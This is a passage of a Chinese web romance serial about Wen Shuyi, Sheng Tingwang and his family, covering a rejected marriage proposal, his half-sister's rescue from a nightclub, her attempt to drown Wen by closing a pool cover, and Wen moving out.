“顾临,你没觉得,你太自私了吗?” “我自私?我阻止你追求梦想了吗?当年,我让你在国内进修,我可以让我爸为你请最顶尖的老师,可以把你送进最顶尖的学府,你同意了吗?”顾临胸口起伏着,有些事情,注定一提起来,全是伤痛,“叶棠,是我自私,还是你自私,况且……” 他眼眶红透着,看向她,“……况且,你不是要跟宋复礼结婚了吗?你都有了新的感情生活了,还要勾搭我干什么?贱不贱?” “我和宋复礼……”她想解释。 顾临没兴趣,“……你爱跟谁跟谁,别再来找我,叶棠,有点骨气行吗?” 顾临转身走了。 叶棠心酸地咽下了泪水。 她和宋复礼只是朋友。 也不知道是谁传的,说他们要结婚。 这么多年来,她心里一直没有放下顾临。 不然。 她为什么回国? 男人绝起情来,比女人可厉害多了。 “顾临,你就是个王八蛋。” 顾临听到了。 但没有回头。 …… 温疏亦的病情不算严重。 小哆哆被育儿师带着,过来看她。 小家伙想妈妈了。 抱着妈妈,眼眶红红的。 温疏亦心疼得厉害。 将他紧紧地抱在怀里,“想妈妈了是不是?妈妈也想你。” “妈妈,你以后不会再忘了哆哆吧?”小家伙眨着漂亮的大眼睛,“哆哆好怕妈妈,不记得哆哆了。” “不会,以后都不会了。” “妈妈,那我们什么时候走呀。”小哆哆还没忘了,要离开的事情。 温疏亦想捂他的嘴,来不及了。 盛珽妄的脸黑得如同滴墨一般,“去哪儿啊?” 小家伙害怕。 往温疏亦怀里钻了钻,“妈妈,我还是不喜欢爸爸叔叔。” “爸爸就是爸爸,什么就爸爸叔叔了。” 盛珽妄很严肃。 小哆哆平时都不敢跟他单独相处。 这更坚定了,他要离开的决心,“你不是我爸爸,我爸爸早就死了,我不喜欢你。” “你小子,胆大了?嗯?” 盛珽妄作势要把小哆哆,从温疏亦的怀里抢走。 小家伙立马哭了。 “妈妈,他要打我,我怕,我好怕。” 温疏亦被他哭得心疼,轻抚着背,安抚,“不怕,他不会打你的,妈妈不会让他打你的,别哭了,好不好?” “妈妈,那你病好了,我们就走好不好?” 温疏亦偷偷看了一眼盛珽妄。 她总不能当着盛珽妄的面,就聊要离开的事情。 哼哼唧唧的,也没有给小哆哆个准话。 “等舅舅的病好了,咱们再说,好不好?哆哆最懂事了。” 小哆哆沮丧了,搂着温疏亦的脖子,“那哆哆晚上跟妈妈一起睡,永远一起睡好不好?妈妈不要去爸爸叔叔的房间跟他睡,他都是大人了,妈妈答应哆哆,答应哆哆嘛。” 温疏亦:……她也没有去和盛珽妄睡。 “好,妈妈答应哆哆,永远和哆哆一起睡。” 盛珽妄一旁轻嗤,“我看你以后娶了媳妇,还会不会说这种彪话。” 小哆哆哪懂他话的意思。 他就要妈妈。 谁也不要跟他抢。 温疏亦出院后。 回了阳关大道小区。 盛珽妄没有经过她的同意,就将小哆哆送去了国际幼儿园。 西式教育。 独立教育。 最多一周回一次家。 温疏亦很不适应。 跟盛珽妄吵了一架。 “你马上把哆哆给我接回来,就算是送幼儿园,也要送一个每天都可以接送的,他本来性子就敏感,又胆小,这样会出问题的。” “能出什么问题?”盛珽妄平静地问。 温疏亦瞪眼,“你说出什么问题?当然是心理上的问题。” “我已经跟老师说了,让他注意观察,如果哆哆不适应,我马上可以接他回来,如果他适应,又喜欢那样的教育,你也要将他接回来吗?” 温疏亦:…… 这话怼得她,无话可怼。 “那……看看再说。” “那就别跟我急。” 温疏亦,哼。 汤凤玉端了熬的汤过来,给温疏亦喝,“疏亦,喝点汤,你脑袋受了伤,要多注意休息,有什么需要的,你就喊我,我会照顾好你的。” 温疏亦听得心脏打战。 她怎么好意思,让盛珽妄母亲照顾。 “阿姨,我没事,我自己可以照顾好自己的。” “照顾你,是我应该做的。”汤凤玉当着儿子的面,姿态像一个仆人。 温疏亦反正心里挺不舒服的。 晚上。 温疏亦洗完澡早早地睡下了。 隐约,她听到盛珽妄和汤凤玉在吵架。 也不算吵。 就是盛珽妄在发火,而汤凤玉只是一味地道歉。 他们母子的事情,温疏亦不好插言。 翻了个身,继续睡了。 三更半夜,她睡的迷迷糊糊的时候,感觉身旁多了个人。 便翻身将他抱住了,“哆哆,乖乖的。” “哆哆……????” 她把他当成儿子了。 本来还一身气的男人,盯着女人熟睡的小脸,瞬间气消。 这么可爱的女人。 他和她竟然错过了六年。 以后不会了。 “温疏亦,我们要个二胎吧。”他凑到她耳边说话。 温疏亦感觉到痒,抬手就给了男人一个巴掌,“什么东西啊。” 睁眼。 看到盛珽妄。 温疏亦睡意全无。 “你,你怎么跑到我这屋里来了?盛珽妄,你想对我做什么?我告诉你啊,别乱来,我们现在不是男女朋友,我,我……只是一个保姆。” 盛珽妄好整以暇地看着她。 下一秒,将她扑倒在床上。 “保姆?不,温疏亦,我已经不想让你再做保姆了。” 温疏亦惊惧又不知所措地,往后撤着身子,“那,你又想让我做什么?” “做我的太太如何?” 温疏亦:……太太? 她想都没想地摇头。 她没有想过这事。 “这不好吧。” “哪里不好?”他拽住她的脚踝,将她拖到自己的身下,“温疏亦,我们错过六年了,误会叠加误会,我们会没完没了的,直接一步到位,结婚,二胎,嗯?” 第78章 不算太大的双人床 “结婚?二胎?” 他到底是想结婚。 还是想生孩子? 温疏亦眨眼,“盛珽妄,你虽然和夏家取消了婚约,但我目前,并没有要嫁人的想法,更没有想再生个孩子……不,我是说,我可能这辈子不能再生了,要不,你还是去找别人吧,就别打我的主意了。” “不能生就不生,结婚,好吗?我们办一个你喜欢的婚礼。” 他期待地望着她的眼睛。 她却觉得像听了个笑话,将盛珽妄推开了,“我没想过跟你结婚,办婚礼。” 男人眼眸沉下。 说到底,她还是没有原谅,还是不想接受。 “为什么?” “没什么为什么?”她觉得,她和盛珽妄可能……没什么最原始的那种冲动了,“盛珽妄,我们浪费的这六年,其实是一个很好的结婚的时机,没办法,人生就是这样的,我现在不想嫁人了,婚姻其实……没什么意思。” 这些话。 对于盛珽妄来说,只是借口。 说到底。 就是他不配。 “如果……是李江衍呢?如果李江衍想要跟你结婚,你会答应他吗?” 他向来不屑跟别人比。 也一直是别人仰望的存在。 可这次。 盛珽妄没自信了。 就如温疏亦讲的,他们错过了,最有可能成为夫妻的那个时间点。 他抓着她的肩,不死心地问,“不会的是吧?你也不会嫁给他的,对吗?” “你问这个有意义吗?”她不想回答。 “我想知道答案。” 温疏亦无奈,“我没有答案给你。” “所以,你心里还是给他留了机会,而我没有这个机会,是不是?” 他眼眸沉痛。 像是被抛弃了一般地望着她的眼睛。 温疏亦心口像是被什么东西,扎了一下。 回避他的目光,“你跟他比什么,你们是完全不同类的人。” “我连跟他比的资格也没有了?” 他松开了抓着她肩膀的手。 落寞回身的背影,让温疏亦凭空生出一些抱歉。 她伤害到他了吗? “盛珽妄。”她叫住了他,她想解释些什么,“我……我,我们……” 男人回身。 如墨如渊的眸子,就那样破碎地望着她。 她咬了咬唇。 下一秒,她的后脑被摁住,他的唇便吻了上来。 如果大脑在演着欺骗的戏码。 那么身体诚实地背叛了大脑。 情事浮浮沉沉。 她紧紧地抓着他的肩头,承受着…… …… 一张不算太大的双人床。 紧紧相拥的身体。 “疏亦,我不强迫你现在就心甘情愿地嫁给我,我等你,等你说愿意的那天,好吗?” 他温柔得一塌糊涂。 温疏亦在他怀里翻了个身,抬眸望着他,“盛珽妄,你真的有那么爱我吗?我们分开六年,根本就没有相处的时间,你只是不甘心的,只有占有欲在作祟的,对吗?” 是占有欲,也有不甘,当然也是爱。 爱是一瞬间的事情。 相处处出来的感情,那叫日久生情。 显然,他不是。 “温疏亦,你就是想得太多,是不是女人都这样?对感情不确定的情况下,宁愿放弃,也不敢大胆地赌一把?” 温疏亦被看穿了。 她确实是这样的人。 她年纪也不小了。 哪有资本去赌? “如果我嫁给了你,那你得给我一半的身家,你愿意吗?” “不愿意。”他说。 温疏亦:…… 她生气了,要推开他,被他紧紧地抱住,“我不愿意给你一半的身家,我愿意全给你,嗯?” “鬼话。” “真心话。”他笑。 温疏亦没信后面说的。 但信了前面的。 盛珽妄有现在今天的身价,不是一件容易的事情。 给一个女人? 换成她,她也不愿意。 钱只有在做交换的时候,才能体现出最大的价值,而她这个穷光蛋,没什么可以与盛珽妄交换的。 如果男人给不了心,也给不了钱。 结婚就变得毫无意义。 还给彼此套上了枷锁。 想到这些,温疏亦觉得自己挺可悲的。 不知道什么时候,她没了那种对爱情的向往,和奋不顾身的激情。 就当是一场只走肾,不走心的恋爱谈吧。 至少,在分开的时候,大家不会撕心裂肺。 汤凤玉家里的那些亲戚,没有再来过。 倒是清静了不少。 汤凤玉会照顾盛珽妄的饮食,起居,但盛珽妄好像对她的态度,也没怎么变化。 依然是不近不远。 不冷不热的。 这天,晚吃过饭后,汤凤玉找到了盛珽妄,说了件事情。 “我想让你妹妹过来……,她在那边,过得实在是辛苦,也没有人管,毕竟是个女孩子,我实在是不放心。” 汤凤玉所说的女儿。 是她和那个私奔的男人生的。 和盛珽妄同母异父。 男人冷冷地瞥了她一眼,“我这儿是收容所?你想照顾她,就搬出去照顾。” “阿稷,我们只有你一个亲人了,如果你再不……”汤凤玉抹起了眼泪,转头求助温疏亦,“……疏亦,你帮阿姨说句话,阿稷他最听你的了,好吗?” 温疏亦尴尬了。 盛珽妄什么时候听过她的话。 她可不想掺和他们家的事情。 “阿姨,我跟你一样,算是这个家的租客,我可劝不了人,你还是自己想想办法吧。” 温疏亦回房了。 汤凤玉一时无主,苦兮兮地看向儿子,“阿稷,你就看在妈的面子上,好歹她是你的亲妹妹。” 盛珽妄没说话。 扭头回房,拿了一个小本本出来。 拍到了汤凤玉的面前。 独生子女证。 汤凤玉脸色白了黑,黑了红,红了又绿,“我知道,我对不起你和你爸,但是除了你爸,我也和你妹妹也是你的亲人啊,阿稷,你有再多的恨可以冲我来,妹妹是无辜的呀。” 汤凤玉哭了。 哭得盛珽妄心烦。 他早就知道,他有一个同母异父的妹妹。 那个女孩小他十岁。 因为是个女孩,在那个家里不受重视,高中没读完,就被迫辍学打工。 近几年,人长大了,心眼也多了。 倒是不经常回那个家了。 苦是真的苦过。 可是跟他比起来,她至少从小到大,还有妈妈疼爱,他却什么也没有。 即便是汤凤玉现在寄人篱下,想的还是让女儿过来,跟着一起享福。 这份重视和牵挂,都是他从未体验过的亲情和母爱。 盛珽妄喝酒了。 一个人坐在楼顶的露台上,仰望着星空。 他有无数的心事。 也有无数的烦恼。 可他无人诉说。 现实逼迫着他成为了一个强大的人,没人允许他脆弱。 酒。 在这个时候,成了他最好的朋友。 手机震动。 是顾临的电话。 “有事?” “想喝点,来陪我。”那头说。 盛珽妄看了眼指尖的酒杯,笑了,“地址发过来。” 好朋友之间,还是有默契的。 至少在心情不好这方面,有时候,蛮同步的。 第79章 自愿还是被逼 夜场。 音乐喧嚣。 有不同的辣妹过来撩骚。 两个男人,靠在宽厚的沙发背上,一黑一白,像极了禁欲系的高岭之花。 “说吧,你有什么心事,说出来,让我开心开心。”盛珽妄指尖握着酒杯,姿态慵懒。 顾临淡扫了他一眼,叹道,“姜晚想结婚,她的父母背地里找了我父亲,说了什么,我也不知道,但明显把我爸说服了,我爸的意思,想订下来。” “既然放下叶棠了,那就订下来,这有什么好烦恼的,除非……”盛珽妄一副对顾临了然于心的神色,“……你不爱她。” “恋爱不是非得结婚,结婚也不是非得因为爱情。”他侧过脸来,问盛珽妄,“你呢?有什么烦心事?” “我烦心事多了去了。”他往自己喉咙里灌了口酒,淡淡地说,“我和温疏亦说,我想娶她,想给她一个盛大的婚礼,她拒绝了。” 顾临一副毫不意外的模样,“结婚这事吧,讲得天时地利人和,这都六年了,对婚姻失去兴趣,也在所难免,不过,你都跟她领证了,她想不想嫁你,不也是你的人了,你没必要为此烦恼。” “那不一样的。” “别太计较了,慢慢来就好了。”顾临似又想起了点什么,“对了,我听说你妈搬到你那儿住了,你们相处得怎么样?” “就那样吧,她想接她女儿过来,我拒绝了。” 顾临耸眉,“你还在恨她当年把你抛下?” “我不应该恨吗?” 顾临点头,他应该恨,但……“你也并没有因为恨,而变得快乐,她到底是你的妈妈,从心底里讲,你还是不忍心伤她的心的,不是吗?” 这正是盛珽妄心里最烦的事情。 如墨渊般的深眸,在此时越发的让人看不透。 顾临拍了拍他的肩,“给自己点时间。” “大家安静一下。” 台下的音乐声停了,响起了男主持的声音。 “今天有一个拍卖活动,对,就是卖人……不是卖人啦,是卖人的二十四小时。” 顾临:……??? 盛珽妄:……??? 两个男人几乎同时起身,扶着栏杆往下望过去。 中间站着几个年轻的女孩,各种制服和诱惑装,妆很浓,也很拘谨。 “二十四小时,八万,随便你们做什么,只要人给我送回来的时候,活着就行。” 台下一片起哄声。 顾临觉得这个老板是疯了,“这种买卖,不怕关门大吉,抓去做牢?” “这种地方,有这个不奇怪。” 盛珽妄仰头喝了口酒,视线聚焦在了一个年轻女孩的身上。 在男主持叫价的时候。 他出了声,“那个戴着兔子耳朵的,我要了。” 男主持兴奋大叫,“谢谢老板。” 顾临差点惊掉下巴,“你什么情况啊?你,你,你……” “她是我妈跟那个男人生的妹妹。” 盛珽妄认出了她。 不管她当下是什么状态。 既然让他遇到了,他总不能看着她跟别的男人走。 付了钱。 小姑娘怯生生地走到他面前,跪了下去,“老板你好,我叫玫瑰,我会好好伺候你的。” 顾临:…… 他看向盛珽妄,“她叫玫瑰?” “你真名叫什么?”盛珽妄问她。 女孩不敢抬头看人,低垂着睫毛,“我们不让说真名。” “自愿的,还是被逼的?”盛珽妄居高临下地问。 “老板,我是,我是自愿的,我工作很努力的,我真的很敬业的,老板你试一下就知道了。” 女孩没规矩地跪在盛珽妄的面前。 微垂的侧脸,染满了风尘味。 顾临咽了咽,“你做这种工作多久了?” “也没……就两年而已。” 顾临:……两年?而已? 盛珽妄拿起手机打了个电话。 差不多半个多小时,汤凤玉来了。 “阿稷,她在哪儿呢?”光线太暗,她有一些看不清楚。 盛珽妄抬了抬下巴,汤凤玉认出了女儿,“李贞贞,你怎么在这儿……,你怎么穿成这样?你怎么做这种工作,你疯了你。” “妈。”李贞贞错愕,想解释些什么,“我,我……” “你什么你,谁让你出来卖的?”她抬手就给了女儿一个巴掌,“还是说你自己愿意出来卖的?你跟我说,你找了份很好的工作,就是来做这个的?你太让我失望了。” “不是的……”李贞贞捂着脸掉泪。 汤凤玉又心疼女儿。 又觉得丢人。 她也不知道该如何向盛珽妄解释。 盛珽妄也没有兴趣听。 “带她走吧,这几天我让张纶,给你们找个地方住,你带着她去外面住。” 汤凤玉将女儿从地上拽起来,“阿稷……先谢谢哥哥。” “哥哥?”李贞贞这才敢看盛珽妄,眼妆下的眸子,透出惊喜,“妈,他就是我哥吗?” “别乱认亲。”盛珽妄眉眼压下,“赶紧走吧。” 李贞贞让汤凤玉带走了。 盛珽妄的心事更重了。 顾临摇头,“我怎么感觉,这个小姑娘,也是个大麻烦呢。” …… 汤凤玉把李贞贞暂时带回了家。 温疏亦出来倒水喝。 看到客厅里陌生的人,也只是淡淡地扫了那么一眼。 李贞贞眼尖,抬声叫她,“你就是温疏亦吧。” 温疏亦:……??? “我是李贞贞,是陆稷的妹妹。”李贞贞已经卸了妆,露出底色。 在温疏亦看来。 长得中规中矩。 不是很洋气的长相,也不是老实的长相。 她淡淡地哦了声,“知道了。” “我饿了,你去给我做饭吧。”李贞贞背着手,走到温疏亦的面前,“你是我哥的……合租室友,就有义务照顾我和妈妈,做西红柿面,多卧几个鸡蛋。” 温疏亦指了指自己。 这一家子,真把她当老妈子了。 “你确定,脑子没毛病?” 李贞贞上一愣,“你骂我?” “我不是骂你,我凭什么要给你做饭?你有手有脚的,看你这个样子,也不像是什么都不会做的大小姐,犯得着,让别人伺候吗?” 温疏亦真是想骂人了。 在李贞贞要动唇说些什么的时候,她又立马补了句,“你的好哥哥,我都没有伺候过,你们就别指望我伺候你们了,明白?” “妈,你看她,我就让她给我下碗面,她都不肯。” 李贞贞耍起小性子。 汤凤玉急忙走了过来,“我来给你下面,你别没事找事的。” “妈,我在李家,天天干的就是伺候人的活,我是被逼无奈,才去那种地方上班的,现在好不容易要过上好日子了,让她伺候一下怎么了?” 第80章 死人不会说话 温疏亦:……这听起来,不像人话啊。 “她是你哥的女人,不是这个家的保姆。”汤凤玉想让女儿少说两句,李贞贞不干,大有一副上位者的姿态,“妈,她不就是个暖床的,我哥到时娶不娶她,还不一定呢,她不更得好好表现一下吗?” 温疏亦嘶。 汤凤玉看到温疏亦脸变了色。 将李贞贞拉进了厨房。 “行了,你少说两句。” “妈。”李贞贞跺脚,“我们现在好不容易薮出头了,你就不能硬气一点吗?” “我这不是给你做饭吗?”汤凤玉从冰箱里拿了西红柿,“咱们这不是在自己家里,我们要懂得,看别人的脸色,不然,你哥会把我们赶出去的。” “我哥要是因为一个女人,就把我们赶出去,那他还是个人吗?” 李贞贞在风月场所工作时间久了。 社会上的那些流里流气很浓。 坏心眼很多。 “妈,这儿媳妇不听话,咱们就换一个,反正,我哥又没有娶她,你觉得怎么样?” 汤凤玉边切西红柿,边拒绝,“换什么呀,你哥很爱她,咱们说了可不算。” “男人的爱那都是有条件的,再说了,活人我哥爱,死人,我哥还爱吗?”李贞贞压低声,附在汤凤玉耳边说,“妈,我有个主意……” 李贞贞说完。 汤凤玉头摇得像个拨浪鼓,“不行,这绝对不行,这是害人,我们怎么能害人呢。” “妈,这怎么叫害人呢,你看她那副看谁都瞧不上的样子,难道你心里没有气吗?我们不过是为了出口气罢了,又不给她下药,怎么就成了害人了。” 汤凤玉犹豫了。 她确实也不太喜欢温疏亦的性子。 挺冷淡的。 不像她那些亲戚家的儿媳妇,会讨好人。 她虽然对温疏亦很有意见。 奈何自己的儿子喜欢。 看在她生了孙子的份上,汤凤玉有委屈也就自己咽了。 “别跟我讲,我什么也不知道。” 李贞贞心领神会地笑了,“好的妈。” …… 周末。 温疏亦接小哆哆,顺便带他去游泳。 小家伙喜欢水。 她差不多一周都要带他来游一次。 “好巧啊,温疏亦。”李贞贞一身泳衣,走到母子面前,“这就是我的小侄儿吧?小子,叫姑姑。” 小哆哆不喜欢这个女的。 扭头抓着游泳圈,去玩了。 温疏亦也不想理人,准备自己去游几圈。 李贞贞气到了,抬腿踢了两下水,“温疏亦,你瞧不起谁呢?你要真瞧不上我们家人,你就跟我哥分手啊,我和我哥可是流着一样的血,你别在我面前装高贵。” “李贞贞,你要是有病就去治,别来找事。” 温疏亦擦了擦脸上被溅到的水。 压下眸底的厌恶和愤怒,转身游了过去。 游泳馆里的人很多。 男的女的,老的少的。 温疏亦游了一圈回来,明显发现人少了很多。 育儿师过来接小哆哆去上马术课。 温疏亦叮嘱了一番,便让人先带小家伙离开了。 她今天状态不错。 体力也很好。 她打算再游几圈。 然后再练一练水下憋气。 她喜欢。 想着游泳馆结束营业的时间还早,便再次投入水中畅游。 李贞贞在监控室里,看着已经走净的泳池里,只有温疏亦一个人,还在练习水下憋气。 便抬手摁下了泳池盖板的电钮。 然后打开了循环播放的歌曲。 声音很大。 即便有人呼救,也听不到。 李贞贞邪佞地笑着。 她在风月场所工作了两年,她太知道怎么样,让一个不听话的人,无声无息地死去。 她和温疏亦谈不上有仇。 就是单纯的不喜欢,她那副高高在上的姿态。 她和妈妈才是盛珽妄最亲近的人。 温疏亦,凭什么一句话,就能决定她们的去留? 盖板在无声中,缓慢地将泳池覆盖完毕。 在水下看着时间的温疏亦,结束憋气,准备上岸。 可她怎么也钻不出水面。 最多只能仰息着。 一个鼻子的空隙,带来的压迫和恐惧。 怎么回事? 盖板怎么关上了? 平时根本不关这玩意的。 温疏亦慌了。 她想呼救却喊不出声音。 使尽全身的力气,拍了两下盖板。 几乎没什么用。 外面的歌曲声音太大,不会有人在意这盖板下面,还有个人。 不是还没有到下班时间吗? 怎么会突然就…… …… 盛珽妄回到家时。 并没有见到温疏亦和小哆哆。 他给温疏亦打了个电话。 无人接听。 又给育儿师打去问。 才知道温疏亦和哆哆并没有在一起。 汤凤玉看到盛珽妄回来。 忙和王婶一起,将做好的晚餐微桌上端。 “阿稷,今天我做了排骨米饭,你小时候最爱吃了。”女人微笑着,慈母一般的,“贞贞也爱吃,你们兄妹两个啊,还真是一个口味。” 李贞贞接过米饭,递到鼻前闻了闻,“妈,我早就馋这一口了,没想到我哥也爱吃,你可真够偏心的,我哥爱吃,你就做。” “也给你做了,废话真多。” 盛珽妄心神不宁。 他抬腕看了眼时间,问王婶,“疏亦她……没说什么时候回来?” “小温去接哆哆了,说是带他游会儿泳就回来……”王婶看了眼时间,“……哆哆已经去上课了,按理说,小温也该回来了。” 盛珽妄心里有种不好的预感。 起身抓起外套,就往外走。 汤凤玉紧追着喊他,“阿稷,你先吃了饭再去嘛,这饭要凉了。” “妈,别管他,咱们吃。” 已经两个小时过去了。 就算去了。 人也死翘翘了。 汤凤玉想到了什么,坐到了李贞贞上的对面,压低声音问她,“你今天对温疏亦做什么了?” “妈,你放心,以后呢,你只会有一个听话的儿媳妇,不听话的咱不要。” 汤凤玉心脏一紧。 往厨房里看了一眼,忙又问,“你对她下手了?” “没错。”李贞贞啃着排骨,香得笑眼眯眯,“妈,你放心,神不知,鬼不觉。” 汤凤玉心里没底。 怎么说,温疏亦也是一个活生生的人。 就这样……没了? “贞贞,你确定,她会死吗?” “妈,泳池的盖板盖上后,里面会投放一些消毒用品,且不说这些东西,味道有多呛人,就是空气稀薄的情况下,人在水里泡上那么两个小时,也不可能活着的,放心好了。” 李贞贞的神色过于轻松。 像是这种事情,做过无数次一般的。 汤凤玉一瞬间,觉得女儿,像是变了个人,“你以前也用类似的手段杀过人?” “妈,我在那样的环境里工作,那心可是天天吊在嗓子眼里,我不杀人,人就要杀我,你……你什么也不懂。” 李贞贞摁住汤凤玉浮躁的心,“妈,你把心放肚子里,该吃吃,该喝喝,就别管了。” 汤凤玉没有女儿那么淡定。 温疏亦是个人。 不是小狗小猫。 她心跳得很乱,很慌,不像样子。 …… 第81章 盛珽妄,是不是你克我呀 盛珽妄赶到泳池时,里面空无一人。 周末这个时间,不该这样。 太静了,静得只剩下循环水系统低沉的嗡鸣。 他心脏发紧。 快步走向服务台,“今天不营业了吗?” 开口的声音比预想中更急。 工作人员,从电脑前抬头:“上面临时检查,提前清场消毒了。先生,您有什么事吗?” 盛珽妄直接划开手机屏幕,将温疏亦的照片举到对方面前,“见过她吗?下午来的,带着一个小男孩。” 工作人员皱着眉看了几秒,摇头:“客人太多,没什么印象……如果你要找人的话,我建议你去监控室,调一下监控。” “好。” 盛珽妄是用跑的。 监控室里,他盯着快进的画面。 直到熟悉的身影走进镜头…… 时间跳动。 他的焦点始终在温疏亦的身上,直到他看见泳池的盖板缓缓关起。 “来人……” 盛珽妄猛地站起来,椅子向后刮出刺耳的声响,“泳池里面有人,打开泳池盖板!” 工作人员脸色瞬间白,这样的工作疏忽,很有可能让他丢了工作。 “不可能,清场时检查过了……” “打开!快点。” 盛珽妄的声音已经变了调。 盖板在机械传动声中缓缓向两侧滑开,池水重新暴露在空气中,粼粼晃动。 盛珽妄一眼就看见了,池底那片朦胧的灰色影子。 他一边快步向泳池走去,一边扯下外套甩在地上,几乎在盖板完全打开的同一秒就跃入了水中。 水温冷得刺骨。 耳朵里只剩下自己剧烈的心跳。 越来越近,越来越近…… 温疏亦抱着腿,缩成一小团,眼眸紧闭,长发如海藻般散开,脸上没有任何表情,苍白得近乎透明。 他伸手揽住她的腰,将她用力带向自己,然后转身,奋力蹬水朝着头顶那片晃动的光亮冲去。 破水而出的那一刻,他喘着气,颤抖的手第一时间探向她的鼻息…… “疏亦?” “疏亦,你醒醒……” “来人啊,叫救护车……” …… 温疏亦获救了。 倒是没什么生命危险。 顾临得知事情的真相,觉得这意外,出得挺莫名其妙的。 “游泳池清场,就唯独温疏亦没听到?”这多少有点奇怪了,“这幸亏啊,温疏亦会憋气,那盖板与水面之间还有一丝空气,要不然啊这几个小时,人早死了。” 盛珽妄脸色铁青。 奇怪确实是奇怪。 但监控他看过了,没什么特别的地方。 “她脑子没伤着吧?” “不会,就是缺氧了,吸氧后,会沉睡几个小时,别太担心。” 温疏亦醒来时。 盛珽妄正坐在她的床边上,担心又心疼地看着她。 她眨眨眼。 回想着,她在泳池里那几个小时的黑暗时光,有点后怕的,瘪了两下嘴角。 “我命好大呀。” 她委屈了。 眼泪不受控地流。 盛珽妄抬手替她擦干了脸上的泪,“大难不死的人,是有后福的。” “为什么倒霉的总是我。”幸好,哆哆早早走了,不然后果不堪设想,“盛珽妄,是不是你克我呀?” “我……” 他有点冤枉。 但没有忍心跟她斗嘴,“好,我克你,我以后争取不克你,好不好?” 汤凤玉敲了敲病房的门。 走了进来。 她早就在家里坐不住了。 听说温疏亦没事,她悬在半空中的心,总算是落了地,“疏亦,你还好吧?怎么会出这样的事情呢,把我担心坏了,幸好,你没事,谢天谢地。” 温疏亦不知道汤凤玉是真心,还是假意。 她没往心里拾,只是客气又礼貌地回了句,“我没事,谢谢你的关心。” “阿稷,以后还是给疏亦配个保镖吧,这样她出门,大家都放心。”汤凤玉浅浅地说着。 盛珽妄倒是听进去了,转头问向温疏亦,“怎么样?” “我不要。”这跟在她身上按了个监控,有什么区别,“这次不过是意外,又不是谁要害我,我不需要保镖。” “虽说是意外,但……”汤凤玉看了儿子一眼,“……身边有个人,好歹有个照应。” 温疏亦不愿意。 不是她不识好歹。 是她和盛珽妄这样的关系,根本不需要这样的配置。 “你们好意我心领了。”温疏亦看向盛珽妄,想跟他商量一下,自己工作的事情,“哆哆现在也上学了,乔深的治疗,我也插不上手,我还欠着你那么多钱,我想去海棠工作,可以吗?” “疏亦,你就在家里吃吃喝喝的,不是挺好的,阿稷他,对你那么好,你何必去苦受呢。” 汤凤玉忍不住,多说了句。 温疏亦哂笑。 她们都把她当成寄生虫了。 可她最讨厌寄生别人。 “盛珽妄,我不仅要回海棠工作,我还要搬出你的家。” 汤凤玉看了一眼儿子。 他的脸色着实是不怎么好看。 她怕盛珽妄误会,是因为她和女儿在家里,把温疏亦逼走。 忙说,“疏亦,是不是我和贞贞在家里,让你不舒服了,阿稷已经让人在给我们找合适的房子了,你还是留下来吧,你走了,他会难过的。” 温疏亦:…… 她又不是这个意思。 “阿姨,你们是盛珽妄的家人,你们住不住在他家里,是你们之间的事情,我要离开,是因为这不是我的家,我和盛珽妄没有任何关系,这样住下去,对我的名声,对我的心情,对我的所有的所有,都不好。” 虽然当初盛珽妄让她过来给哆哆当保姆。 可她现在不愿意当了。 他就是跟自己要一个亿的赔偿金,她也不会再住下去了。 她迫切地需要有一个属于自己的空间。 自己的生活。 最重要的一点,她真的觉得,盛珽妄克她。 她必需要离开,有他的环境。 盛珽妄自始至终没有表态。 温疏亦就当他同意了。 于是。 她挑了一个黄道吉日出院了。 又挑了一个黄道吉日,搬出了阳关大道的房子。 李穗安来帮她搬的家。 其实也没有多少东西。 新租的房子,一个小两居。 离阳关大道很远,但离海棠工作室很近。 “这么多年过去了,我还是没有拥有一个属于自己的房子,我曾经那么努力地工作,可现实却是……想有一个自己的家,真的好难啊。” 温疏亦感叹。 李穗安看着这个还不错的出租房,安抚道,“我还不是一样,这么多年了,我也没有一套属于自己的房子,连男人都没有一个,比你还要惨。” “男人这玩意,不要也罢。” “你是拥有过了,我可没有拥有过,要知道有体温的,比没体温的,总归是不一样的。” 温疏亦摇头,“你错了,这没体温的可以自己控时,有体温的,你不要了也不行,因为他还没有爽到,穗安,男人除了会来点前戏,也就那么回事。” 第82章 一个她都搞不定,还来一家 “看来,你对男人是彻底放下了?”李穗安开了瓶可乐递给温疏亦,“所以,咱们现代的女性,完全可以去父留子,无中生子的,是不是?” “当然啊,男人可以没有,但孩子必需有。”温疏亦接过可乐,畅快地喝了一大口,“男人这种生物,除了克女人,好像……真的没有太大的用处。” “你搬出盛珽妄那儿,不会是因为……你觉得他克你吧?”李穗安嘴角抽了抽。 温疏亦很认真地点头,“当然啊,我出了这么多次事,哪次不是因为他?他真的是我的克星,要是我再跟他一起住下去,我真会死翘翘了。” “真的假的?” “当然是真的。” 李穗安不信,“你真的不爱盛珽妄了?” 温疏亦想了想。 她对他还是有爱的。 但不是离了他,她就活不成,“我不知道该怎么说。” “说你心里最真实的想法。” “可能是他,并没有给我,与他坚定地走在一起,跟他耗一辈子的那份勇气吧。”温疏亦不知道李穗安能不能听懂,“就是……,现在的盛珽妄依然是那个长得好,又有钱的男人,他也想娶我,可我就是不想嫁给他。” 李穗安托着腮,似懂非懂的,“你在怕什么?怕被抛弃?还是怕自己hold不住他?你说得再清楚一点。” “可能是有一些伤,还没有愈合,也可能是我这个人太记仇了,也或许是……我现在对婚姻失去了向往,我更注重自己的感受,总之……我现在不想嫁人,无论这个男人是谁。” 李穗安点点头。 她又想到了自己苦逼的堂哥,李江衍。 “也就是说,如果你不选择盛珽妄,也不会选择李江衍,对吗?” 温疏亦笑了,“是。” “那如果你生命中,再遇到一个很爱你的男人,他会打败盛珽妄吗?” 温疏亦转着眼珠想了想,“不好说,看这个男人出现在的时机吧。” “那盛珽妄要知道这事,他不得气死?”李穗安突然觉得,盛珽妄还挺惨的,“疏亦,你到底是在说真的,还是在搞笑啊?” 温疏亦摇头。 她也不知道。 结婚这事,真的是靠的一时冲动。 她和盛珽妄没感情基础。 在她最想嫁给他的时候,他逃了。 而她也过了谈情说爱的年纪。 目前……她只要一个人好好生活。 …… 温疏亦很快进入到了工作状态。 工作室的同事,还是那些人。 大家对她离开这么久的八卦,并没有多少兴趣。 从心理来说,前所未有的轻松。 每天工作,吃饭,睡觉,三点一线。 周末的时候,她会接小哆哆一起回她的出租屋。 小家伙只要不在盛珽妄面前,还是很开朗活泼的。 她会和儿子一起和面,做面条,做包子。 享受母子的周末时光。 盛珽妄没来过。 离开阳关大道的房子后,她和他的联系似乎也少了。 听说,他去国外出差了。 听说,时间还不短。 邻居周奶奶是个热心人。 看着温疏亦独来独往的,还带个孩子,时常会搭把手帮她。 